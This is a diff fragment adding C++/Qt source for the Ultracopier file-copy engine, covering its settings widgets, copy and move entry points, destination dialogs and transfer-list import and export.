+ ui->comboBoxFolderCollision->setCurrentIndex(2);
+ break;
+ case FolderExists_Rename:
+ ui->comboBoxFolderCollision->setCurrentIndex(3);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ ui->comboBoxFolderCollision->setCurrentIndex(0);
+ break;
+ }
+ switch(alwaysDoThisActionForFolderError)
+ {
+ case FileError_NotSet:
+ ui->comboBoxFolderError->setCurrentIndex(0);
+ break;
+ case FileError_Skip:
+ ui->comboBoxFolderError->setCurrentIndex(1);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored: "+QString::number(alwaysDoThisActionForFolderError));
+ ui->comboBoxFolderError->setCurrentIndex(0);
+ break;
+ }
+ switch(transferAlgorithm)
+ {
+ case TransferAlgorithm_Automatic:
+ ui->transferAlgorithm->setCurrentIndex(0);
+ break;
+ case TransferAlgorithm_Sequential:
+ ui->transferAlgorithm->setCurrentIndex(1);
+ break;
+ case TransferAlgorithm_Parallel:
+ ui->transferAlgorithm->setCurrentIndex(2);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ ui->transferAlgorithm->setCurrentIndex(0);
+ break;
+ }
+ return true;
+}
+
+//to have interface widget to do modal dialog
+void CopyEngine::setInterfacePointer(QWidget * interface)
+{
+ this->interface=interface;
+ filters=new Filters(tempWidget);
+ renamingRules=new RenamingRules(tempWidget);
+
+ if(uiIsInstalled)
+ {
+ connect(ui->doRightTransfer, &QCheckBox::toggled, this,&CopyEngine::setRightTransfer);
+ connect(ui->keepDate, &QCheckBox::toggled, this,&CopyEngine::setKeepDate);
+ connect(ui->blockSize, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngine::setBlockSize);
+ connect(ui->autoStart, &QCheckBox::toggled, this,&CopyEngine::setAutoStart);
+ connect(ui->doChecksum, &QCheckBox::toggled, this,&CopyEngine::doChecksum_toggled);
+ connect(ui->checksumIgnoreIfImpossible, &QCheckBox::toggled, this,&CopyEngine::checksumIgnoreIfImpossible_toggled);
+ connect(ui->checksumOnlyOnError, &QCheckBox::toggled, this,&CopyEngine::checksumOnlyOnError_toggled);
+ connect(ui->osBuffer, &QCheckBox::toggled, this,&CopyEngine::osBuffer_toggled);
+ connect(ui->osBufferLimited, &QCheckBox::toggled, this,&CopyEngine::osBufferLimited_toggled);
+ connect(ui->osBufferLimit, &QSpinBox::editingFinished, this,&CopyEngine::osBufferLimit_editingFinished);
+ connect(ui->moveTheWholeFolder, &QCheckBox::toggled, this,&CopyEngine::setMoveTheWholeFolder);
+ connect(ui->deletePartiallyTransferredFiles, &QCheckBox::toggled, this,&CopyEngine::setDeletePartiallyTransferredFiles);
+ connect(ui->followTheStrictOrder, &QCheckBox::toggled, this,&CopyEngine::setFollowTheStrictOrder);
+ connect(ui->checkBoxDestinationFolderExists, &QCheckBox::toggled, this,&CopyEngine::setCheckDestinationFolderExists);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ connect(ui->rsync, &QCheckBox::toggled, this,&CopyEngine::setRsync);
+ #endif
+ connect(ui->renameTheOriginalDestination, &QCheckBox::toggled, this,&CopyEngine::setRenameTheOriginalDestination);
+ connect(filters, &Filters::haveNewFilters, this,&CopyEngine::sendNewFilters);
+ connect(ui->filters, &QPushButton::clicked, this,&CopyEngine::showFilterDialog);
+ connect(ui->inodeThreads, &QSpinBox::editingFinished, this,&CopyEngine::inodeThreadsFinished);
+ connect(ui->inodeThreads, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngine::setInodeThreads);
+ connect(ui->defaultDestinationFolderBrowse, &QPushButton::clicked, this,&CopyEngine::defaultDestinationFolderBrowse);
+
+ connect(ui->sequentialBuffer, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngine::setSequentialBuffer);
+ connect(ui->parallelBuffer, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngine::setParallelBuffer);
+ connect(ui->parallelizeIfSmallerThan, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngine::setParallelizeIfSmallerThan);
+ connect(ui->comboBoxFolderError, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngine::setFolderError);
+ connect(ui->comboBoxFolderCollision, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngine::setFolderCollision);
+ connect(ui->comboBoxFileError, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngine::setFileError);
+ connect(ui->comboBoxFileCollision, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngine::setFileCollision);
+ connect(ui->transferAlgorithm, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngine::setTransferAlgorithm);
+
+ if(!connect(renamingRules,&RenamingRules::sendNewRenamingRules,this,&CopyEngine::sendNewRenamingRules))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect sendNewRenamingRules()");
+ if(!connect(ui->renamingRules,&QPushButton::clicked,this,&CopyEngine::showRenamingRules))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect renamingRules.clicked()");
+ }
+
+ filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ set_setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+
+ renamingRules->setRenamingRules(firstRenamingRule,otherRenamingRule);
+ emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+bool CopyEngine::haveSameSource(const QStringList &sources)
+{
+ return listThread->haveSameSource(sources);
+}
+
+bool CopyEngine::haveSameDestination(const QString &destination)
+{
+ return listThread->haveSameDestination(destination);
+}
+
+bool CopyEngine::newCopy(const QStringList &sources)
+{
+ if(forcedMode && mode!=Ultracopier::Copy)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText(QStringLiteral("Internal error")),tr("The engine is forced to move, you can't copy with it"));
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QString destination;
+ if(!defaultDestinationFolder.isEmpty() && QDir(defaultDestinationFolder).exists())
+ destination = defaultDestinationFolder;
+ else
+ destination = askDestination();
+ if(destination.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Canceled by the user");
+ return false;
+ }
+ return listThread->newCopy(sources,destination);
+}
+
+bool CopyEngine::newCopy(const QStringList &sources,const QString &destination)
+{
+ if(forcedMode && mode!=Ultracopier::Copy)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText(QStringLiteral("Internal error")),tr("The engine is forced to move, you can't copy with it"));
+ return false;
+ }
+ return listThread->newCopy(sources,destination);
+}
+
+bool CopyEngine::newMove(const QStringList &sources)
+{
+ if(forcedMode && mode!=Ultracopier::Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText(QStringLiteral("Internal error")),tr("The engine is forced to copy, you can't move with it"));
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QString destination;
+ if(!ui->defaultDestinationFolder->text().isEmpty() && QDir(ui->defaultDestinationFolder->text()).exists())
+ destination = ui->defaultDestinationFolder->text();
+ else
+ destination = askDestination();
+ if(destination.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Canceled by the user");
+ return false;
+ }
+ return listThread->newMove(sources,destination);
+}
+
+bool CopyEngine::newMove(const QStringList &sources,const QString &destination)
+{
+ if(forcedMode && mode!=Ultracopier::Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
+ QMessageBox::critical(NULL,facilityEngine->translateText(QStringLiteral("Internal error")),tr("The engine is forced to copy, you can't move with it"));
+ return false;
+ }
+ return listThread->newMove(sources,destination);
+}
+
+void CopyEngine::defaultDestinationFolderBrowse()
+{
+ QString destination = askDestination();
+ if(destination.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Canceled by the user");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(uiIsInstalled)
+ ui->defaultDestinationFolder->setText(destination);
+}
+
+QString CopyEngine::askDestination()
+{
+ QString destination = listThread->getUniqueDestinationFolder();
+ if(!destination.isEmpty())
+ {
+ QMessageBox::StandardButton button=QMessageBox::question(interface,tr("Destination"),tr("Use the actual destination \"%1\"?").arg(destination),QMessageBox::Yes | QMessageBox::No,QMessageBox::Yes);
+ if(button==QMessageBox::Yes)
+ return destination;
+ }
+ destination=QFileDialog::getExistingDirectory(interface,facilityEngine->translateText(QStringLiteral("Select destination directory")),QStringLiteral(""),QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
+ return destination;
+}
+
+void CopyEngine::newTransferList(const QString &file)
+{
+ emit signal_importTransferList(file);
+}
+
+//because direct access to list thread into the main thread can't be do
+quint64 CopyEngine::realByteTransfered()
+{
+ return size_for_speed;
+}
+
+//speed limitation
+bool CopyEngine::supportSpeedLimitation() const
+{
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ return true;
+ #else
+ return false;
+ #endif
+}
+
+/** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+void CopyEngine::syncTransferList()
+{
+ listThread->syncTransferList();
+}
+
+void CopyEngine::set_doChecksum(bool doChecksum)
+{
+ listThread->set_doChecksum(doChecksum);
+ if(uiIsInstalled)
+ {
+ ui->doChecksum->setChecked(doChecksum);
+ ui->checksumOnlyOnError->setEnabled(ui->doChecksum->isChecked());
+ ui->checksumIgnoreIfImpossible->setEnabled(ui->doChecksum->isChecked());
+ }
+ this->doChecksum=doChecksum;
+}
+
+void CopyEngine::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
+{
+ listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+ if(uiIsInstalled)
+ ui->checksumIgnoreIfImpossible->setChecked(checksumIgnoreIfImpossible);
+ this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
+}
+
+void CopyEngine::set_checksumOnlyOnError(bool checksumOnlyOnError)
+{
+ listThread->set_checksumOnlyOnError(checksumOnlyOnError);
+ if(uiIsInstalled)
+ ui->checksumOnlyOnError->setChecked(checksumOnlyOnError);
+ this->checksumOnlyOnError=checksumOnlyOnError;
+}
+
+void CopyEngine::set_osBuffer(bool osBuffer)
+{
+ listThread->set_osBuffer(osBuffer);
+ if(uiIsInstalled)
+ {
+ ui->osBuffer->setChecked(osBuffer);
+ updateBufferCheckbox();
+ }
+ this->osBuffer=osBuffer;
+}
+
+void CopyEngine::set_osBufferLimited(bool osBufferLimited)
+{
+ listThread->set_osBufferLimited(osBufferLimited);
+ if(uiIsInstalled)
+ {
+ ui->osBufferLimited->setChecked(osBufferLimited);
+ updateBufferCheckbox();
+ }
+ this->osBufferLimited=osBufferLimited;
+}
+
+void CopyEngine::set_osBufferLimit(unsigned int osBufferLimit)
+{
+ emit send_osBufferLimit(osBufferLimit);
+ if(uiIsInstalled)
+ ui->osBufferLimit->setValue(osBufferLimit);
+ this->osBufferLimit=osBufferLimit;
+}
+
+void CopyEngine::updateBufferCheckbox()
+{
+ ui->osBufferLimited->setEnabled(ui->osBuffer->isChecked());
+ ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
+}
+
+void CopyEngine::set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
+{
+ if(filters!=NULL)
+ {
+ filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ emit send_setFilters(filters->getInclude(),filters->getExclude());
+ }
+ this->includeStrings=includeStrings;
+ this->includeOptions=includeOptions;
+ this->excludeStrings=excludeStrings;
+ this->excludeOptions=excludeOptions;
+}
+
+void CopyEngine::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
+{
+ sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+bool CopyEngine::userAddFolder(const Ultracopier::CopyMode &mode)
+{
+ QString source = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText(QStringLiteral("Select source directory")),QStringLiteral(""),QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
+ if(source.isEmpty() || source.isNull() || source=="")
+ return false;
+ if(mode==Ultracopier::Copy)
+ return newCopy(QStringList() << source);
+ else
+ return newMove(QStringList() << source);
+}
+
+bool CopyEngine::userAddFile(const Ultracopier::CopyMode &mode)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QStringList sources = QFileDialog::getOpenFileNames(
+ interface,
+ facilityEngine->translateText(QStringLiteral("Select one or more files to open")),
+ QStringLiteral(""),
+ facilityEngine->translateText(QStringLiteral("All files"))+QStringLiteral(" (*)"));
+ if(sources.isEmpty())
+ return false;
+ if(mode==Ultracopier::Copy)
+ return newCopy(sources);
+ else
+ return newMove(sources);
+}
+
+void CopyEngine::pause()
+{
+ emit signal_pause();
+}
+
+void CopyEngine::resume()
+{
+ emit signal_resume();
+}
+
+void CopyEngine::skip(const quint64 &id)
+{
+ emit signal_skip(id);
+}
+
+void CopyEngine::cancel()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ stopIt=true;
+ timerProgression.stop();
+ timerActionDone.stop();
+ emit tryCancel();
+}
+
+void CopyEngine::removeItems(const QList<int> &ids)
+{
+ emit signal_removeItems(ids);
+}
+
+void CopyEngine::moveItemsOnTop(const QList<int> &ids)
+{
+ emit signal_moveItemsOnTop(ids);
+}
+
+void CopyEngine::moveItemsUp(const QList<int> &ids)
+{
+ emit signal_moveItemsUp(ids);
+}
+
+void CopyEngine::moveItemsDown(const QList<int> &ids)
+{
+ emit signal_moveItemsDown(ids);
+}
+
+void CopyEngine::moveItemsOnBottom(const QList<int> &ids)
+{
+ emit signal_moveItemsOnBottom(ids);
+}
+
+/** \brief give the forced mode, to export/import transfer list */
+void CopyEngine::forceMode(const Ultracopier::CopyMode &mode)
+{
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(mode==Ultracopier::Move)
+ {
+ listThread->setRsync(false);
+ rsync=false;
+ }
+ if(uiIsInstalled)
+ ui->rsync->setEnabled(mode==Ultracopier::Copy);
+ #endif
+ if(forcedMode)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Mode forced previously"));
+ QMessageBox::critical(NULL,facilityEngine->translateText(QStringLiteral("Internal error")),tr("The mode has been forced previously. This is an internal error, please report it"));
+ return;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(mode==Ultracopier::Move)
+ rsync=false;
+ #endif
+ if(mode==Ultracopier::Copy)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Force mode to copy"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Force mode to move"));
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(uiIsInstalled)
+ ui->rsync->setEnabled(mode==Ultracopier::Copy);
+ #endif
+ this->mode=mode;
+ forcedMode=true;
+ emit signal_forceMode(mode);
+}
+
+void CopyEngine::exportTransferList()
+{
+ QString fileName = QFileDialog::getSaveFileName(interface,facilityEngine->translateText(QStringLiteral("Save transfer list")),QStringLiteral("transfer-list.lst"),facilityEngine->translateText(QStringLiteral("Transfer list"))+QStringLiteral(" (*.lst)"));
+ if(fileName.isEmpty())
+ return;
+ emit signal_exportTransferList(fileName);
+}
+
+void CopyEngine::importTransferList()
+{
+ QString fileName = QFileDialog::getOpenFileName(interface,facilityEngine->translateText(QStringLiteral("Open transfer list")),QStringLiteral("transfer-list.lst"),facilityEngine->translateText(QStringLiteral("Transfer list"))+QStringLiteral(" (*.lst)"));
+ if(fileName.isEmpty())
+ return;
+ emit signal_importTransferList(fileName);
+}
+
+void CopyEngine::warningTransferList(const QString &warning)
+{
+ QMessageBox::warning(interface,facilityEngine->translateText(QStringLiteral("Error")),warning);
+}
+
+void CopyEngine::errorTransferList(const QString &error)
+{
+ QMessageBox::critical(interface,facilityEngine->translateText(QStringLiteral("Error")),error);
+}
+
+bool CopyEngine::setSpeedLimitation(const qint64 &speedLimitation)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"maxSpeed: "+QString::number(speedLimitation));
+ maxSpeed=speedLimitation;
+ emit send_speedLimitation(speedLimitation);
+ return true;
+}
+
+void CopyEngine::setFileCollision(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("action index: %1").arg(index));
+ if(uiIsInstalled)
+ if(index!=ui->comboBoxFileCollision->currentIndex())
+ ui->comboBoxFileCollision->setCurrentIndex(index);
+ switch(index)
+ {
+ case 0:
+ alwaysDoThisActionForFileExists=FileExists_NotSet;
+ break;
+ case 1:
+ alwaysDoThisActionForFileExists=FileExists_Skip;
+ break;
+ case 2:
+ alwaysDoThisActionForFileExists=FileExists_Overwrite;
+ break;
+ case 3:
+ alwaysDoThisActionForFileExists=FileExists_OverwriteIfNotSame;
+ break;
+ case 4:
+ alwaysDoThisActionForFileExists=FileExists_OverwriteIfNewer;
+ break;
+ case 5:
+ alwaysDoThisActionForFileExists=FileExists_OverwriteIfOlder;
+ break;
+ case 6:
+ alwaysDoThisActionForFileExists=FileExists_Rename;
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ alwaysDoThisActionForFileExists=FileExists_NotSet;
+ break;
+ }
+ emit signal_setCollisionAction(alwaysDoThisActionForFileExists);
+}
+
+void CopyEngine::setFileError(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("action index: %1").arg(index));
+ if(uiIsInstalled)
+ if(index!=ui->comboBoxFileError->currentIndex())
+ ui->comboBoxFileError->setCurrentIndex(index);
+ switch(index)
+ {
+ case 0:
+ alwaysDoThisActionForFileError=FileError_NotSet;
+ break;
+ case 1:
+ alwaysDoThisActionForFileError=FileError_Skip;
+ break;
+ case 2:
+ alwaysDoThisActionForFileError=FileError_PutToEndOfTheList;
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ alwaysDoThisActionForFileError=FileError_NotSet;
+ break;
+ }
+ emit signal_setCollisionAction(alwaysDoThisActionForFileExists);
+}
+
+void CopyEngine::setTransferAlgorithm(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("action index: %1").arg(index));
+ if(uiIsInstalled)
+ if(index!=ui->transferAlgorithm->currentIndex())
+ ui->transferAlgorithm->setCurrentIndex(index);
+ switch(index)
+ {
+ case 0:
+ transferAlgorithm=TransferAlgorithm_Automatic;
+ break;
+ case 1:
+ transferAlgorithm=TransferAlgorithm_Sequential;
+ break;
+ case 2:
+ transferAlgorithm=TransferAlgorithm_Parallel;
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ transferAlgorithm=TransferAlgorithm_Automatic;
+ break;
+ }
+ if(transferAlgorithm==TransferAlgorithm_Sequential)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"transferAlgorithm==TransferAlgorithm_Sequential");
+ else if(transferAlgorithm==TransferAlgorithm_Automatic)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"transferAlgorithm==TransferAlgorithm_Automatic");
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"transferAlgorithm==TransferAlgorithm_Parallel");
+ emit signal_setTransferAlgorithm(transferAlgorithm);
+}
+
+void CopyEngine::setRightTransfer(const bool doRightTransfer)
+{
+ this->doRightTransfer=doRightTransfer;
+ if(uiIsInstalled)
+ ui->doRightTransfer->setChecked(doRightTransfer);
+ listThread->setRightTransfer(doRightTransfer);
+}
+
+//set keep date
+void CopyEngine::setKeepDate(const bool keepDate)
+{
+ this->keepDate=keepDate;
+ if(uiIsInstalled)
+ ui->keepDate->setChecked(keepDate);
+ listThread->setKeepDate(keepDate);
+}
+
+//set block size in KB
+void CopyEngine::setBlockSize(const int blockSize)
+{
+ this->blockSize=blockSize;
+ if(uiIsInstalled)
+ {
+ ui->blockSize->setValue(blockSize);
+ ui->sequentialBuffer->setSingleStep(blockSize);
+ ui->parallelBuffer->setSingleStep(blockSize);
+ }
+ emit send_blockSize(blockSize);
+ updatedBlockSize();
+}
+
+void CopyEngine::setParallelBuffer(int parallelBuffer)
+{
+ parallelBuffer=round((float)parallelBuffer/(float)blockSize)*blockSize;
+ this->parallelBuffer=parallelBuffer;
+ if(uiIsInstalled)
+ ui->parallelBuffer->setValue(parallelBuffer);
+ emit send_parallelBuffer(parallelBuffer/blockSize);
+}
+
+void CopyEngine::setSequentialBuffer(int sequentialBuffer)
+{
+ sequentialBuffer=round((float)sequentialBuffer/(float)blockSize)*blockSize;
+ this->sequentialBuffer=sequentialBuffer;
+ if(uiIsInstalled)
+ ui->sequentialBuffer->setValue(sequentialBuffer);
+ emit send_sequentialBuffer(sequentialBuffer/blockSize);
+}
+
+void CopyEngine::setParallelizeIfSmallerThan(int parallelizeIfSmallerThan)
+{
+ this->parallelizeIfSmallerThan=parallelizeIfSmallerThan;
+ if(uiIsInstalled)
+ ui->parallelizeIfSmallerThan->setValue(parallelizeIfSmallerThan);
+ emit send_parallelizeIfSmallerThan(parallelizeIfSmallerThan*1024);
+}
+
+void CopyEngine::setMoveTheWholeFolder(const bool &moveTheWholeFolder)
+{
+ this->moveTheWholeFolder=moveTheWholeFolder;
+ if(uiIsInstalled)
+ ui->moveTheWholeFolder->setChecked(moveTheWholeFolder);
+ emit send_moveTheWholeFolder(moveTheWholeFolder);
+}
+
+void CopyEngine::setFollowTheStrictOrder(const bool &followTheStrictOrder)
+{
+ this->followTheStrictOrder=followTheStrictOrder;
+ if(uiIsInstalled)
+ ui->followTheStrictOrder->setChecked(followTheStrictOrder);
+ emit send_followTheStrictOrder(followTheStrictOrder);
+}
+
+void CopyEngine::setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles)
+{
+ this->deletePartiallyTransferredFiles=deletePartiallyTransferredFiles;
+ if(uiIsInstalled)
+ ui->deletePartiallyTransferredFiles->setChecked(deletePartiallyTransferredFiles);
+ emit send_deletePartiallyTransferredFiles(deletePartiallyTransferredFiles);
+}
+
+void CopyEngine::setInodeThreads(const int &inodeThreads)
+{
+ this->inodeThreads=inodeThreads;
+ if(uiIsInstalled)
+ ui->inodeThreads->setValue(inodeThreads);
+ emit send_setInodeThreads(inodeThreads);
+}
+
+void CopyEngine::setRenameTheOriginalDestination(const bool &renameTheOriginalDestination)
+{
+ this->renameTheOriginalDestination=renameTheOriginalDestination;
+ if(uiIsInstalled)
+ ui->renameTheOriginalDestination->setChecked(renameTheOriginalDestination);
+ emit send_setRenameTheOriginalDestination(renameTheOriginalDestination);
+}
+
+void CopyEngine::inodeThreadsFinished()
+{
+ this->inodeThreads=ui->inodeThreads->value();
+ emit send_setInodeThreads(inodeThreads);
+}
+
+//set auto start
+void CopyEngine::setAutoStart(const bool autoStart)
+{
+ this->autoStart=autoStart;
+ if(uiIsInstalled)
+ ui->autoStart->setChecked(autoStart);
+ listThread->setAutoStart(autoStart);
+}
+
+#ifdef ULTRACOPIER_PLUGIN_RSYNC
+/// \brief set rsync
+void CopyEngine::setRsync(const bool rsync)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"set rsync: "+QString::number(rsync));
+ this->rsync=rsync;
+ if(uiIsInstalled)
+ {
+ ui->rsync->setChecked(rsync);
+ ui->rsync->setEnabled(forcedMode && mode==Ultracopier::Copy);
+ ui->label_rsync->setEnabled(forcedMode && mode==Ultracopier::Copy);
+ }
+ listThread->setRsync(rsync);
+}
+#endif
+
+//set check destination folder
+void CopyEngine::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
+{
+ this->checkDestinationFolderExists=checkDestinationFolderExists;
+ if(uiIsInstalled)
+ ui->checkBoxDestinationFolderExists->setChecked(checkDestinationFolderExists);
+ listThread->setCheckDestinationFolderExists(checkDestinationFolderExists);
+}
+
+//reset widget
+void CopyEngine::resetTempWidget()
+{
+ uiIsInstalled=false;
+ tempWidget=NULL;
+}
+
+void CopyEngine::setFolderCollision(int index)
+{
+ switch(index)
+ {
+ case 0:
+ setComboBoxFolderCollision(FolderExists_NotSet,false);
+ break;
+ case 1:
+ setComboBoxFolderCollision(FolderExists_Merge,false);
+ break;
+ case 2:
+ setComboBoxFolderCollision(FolderExists_Skip,false);
+ break;
+ case 3:
+ setComboBoxFolderCollision(FolderExists_Rename,false);
+ break;
+ }
+}
+
+void CopyEngine::setFolderError(int index)
+{
+ switch(index)
+ {
+ case 0:
+ setComboBoxFolderError(FileError_NotSet,false);
+ break;
+ case 1:
+ setComboBoxFolderError(FileError_Skip,false);
+ break;
+ }
+}
+
+//set the translate
+void CopyEngine::newLanguageLoaded()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, retranslate the widget options");
+ if(tempWidget!=NULL)
+ {
+ ui->retranslateUi(tempWidget);
+ ui->comboBoxFolderError->setItemText(0,tr("Ask"));
+ ui->comboBoxFolderError->setItemText(1,tr("Skip"));
+
+ ui->comboBoxFolderCollision->setItemText(0,tr("Ask"));
+ ui->comboBoxFolderCollision->setItemText(1,tr("Merge"));
+ ui->comboBoxFolderCollision->setItemText(2,tr("Skip"));
+ ui->comboBoxFolderCollision->setItemText(3,tr("Rename"));
+
+ ui->comboBoxFileError->setItemText(0,tr("Ask"));
+ ui->comboBoxFileError->setItemText(1,tr("Skip"));
+ ui->comboBoxFileError->setItemText(2,tr("Put at the end"));
+
+ ui->comboBoxFileCollision->setItemText(0,tr("Ask"));
+ ui->comboBoxFileCollision->setItemText(1,tr("Skip"));
+ ui->comboBoxFileCollision->setItemText(2,tr("Overwrite"));
+ ui->comboBoxFileCollision->setItemText(3,tr("Overwrite if different"));
+ ui->comboBoxFileCollision->setItemText(4,tr("Overwrite if newer"));
+ ui->comboBoxFileCollision->setItemText(5,tr("Overwrite if older"));
+ ui->comboBoxFileCollision->setItemText(6,tr("Rename"));
+
+ ui->transferAlgorithm->setItemText(0,tr("Automatic"));
+ ui->transferAlgorithm->setItemText(1,tr("Sequential"));
+ ui->transferAlgorithm->setItemText(2,tr("Parallel"));
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"ui not loaded!");
+}
+
+void CopyEngine::setComboBoxFolderCollision(FolderExistsAction action,bool changeComboBox)
+{
+ alwaysDoThisActionForFolderExists=action;
+ emit signal_setFolderCollision(alwaysDoThisActionForFolderExists);
+ if(!changeComboBox || !uiIsInstalled)
+ return;
+ switch(action)
+ {
+ case FolderExists_Merge:
+ ui->comboBoxFolderCollision->setCurrentIndex(1);
+ break;
+ case FolderExists_Skip:
+ ui->comboBoxFolderCollision->setCurrentIndex(2);
+ break;
+ case FolderExists_Rename:
+ ui->comboBoxFolderCollision->setCurrentIndex(3);
+ break;
+ default:
+ ui->comboBoxFolderCollision->setCurrentIndex(0);
+ break;
+ }
+}
+
+void CopyEngine::setComboBoxFolderError(FileErrorAction action,bool changeComboBox)
+{
+ alwaysDoThisActionForFileError=action;
+ if(!changeComboBox || !uiIsInstalled)
+ return;
+ switch(action)
+ {
+ case FileError_Skip:
+ ui->comboBoxFolderError->setCurrentIndex(1);
+ break;
+ default:
+ ui->comboBoxFolderError->setCurrentIndex(0);
+ break;
+ }
+}
+
+void CopyEngine::doChecksum_toggled(bool doChecksum)
+{
+ listThread->set_doChecksum(doChecksum);
+}
+
+void CopyEngine::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
+{
+ listThread->set_checksumOnlyOnError(checksumOnlyOnError);
+}
+
+void CopyEngine::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
+{
+ listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+}
+
+void CopyEngine::osBuffer_toggled(bool osBuffer)
+{
+ listThread->set_osBuffer(osBuffer);
+ updateBufferCheckbox();
+}
+
+void CopyEngine::osBufferLimited_toggled(bool osBufferLimited)
+{
+ listThread->set_osBufferLimited(osBufferLimited);
+ updateBufferCheckbox();
+}
+
+void CopyEngine::osBufferLimit_editingFinished()
+{
+ emit send_osBufferLimit(ui->osBufferLimit->value());
+}
+
+void CopyEngine::showFilterDialog()
+{
+ if(filters!=NULL)
+ filters->exec();
+}
+
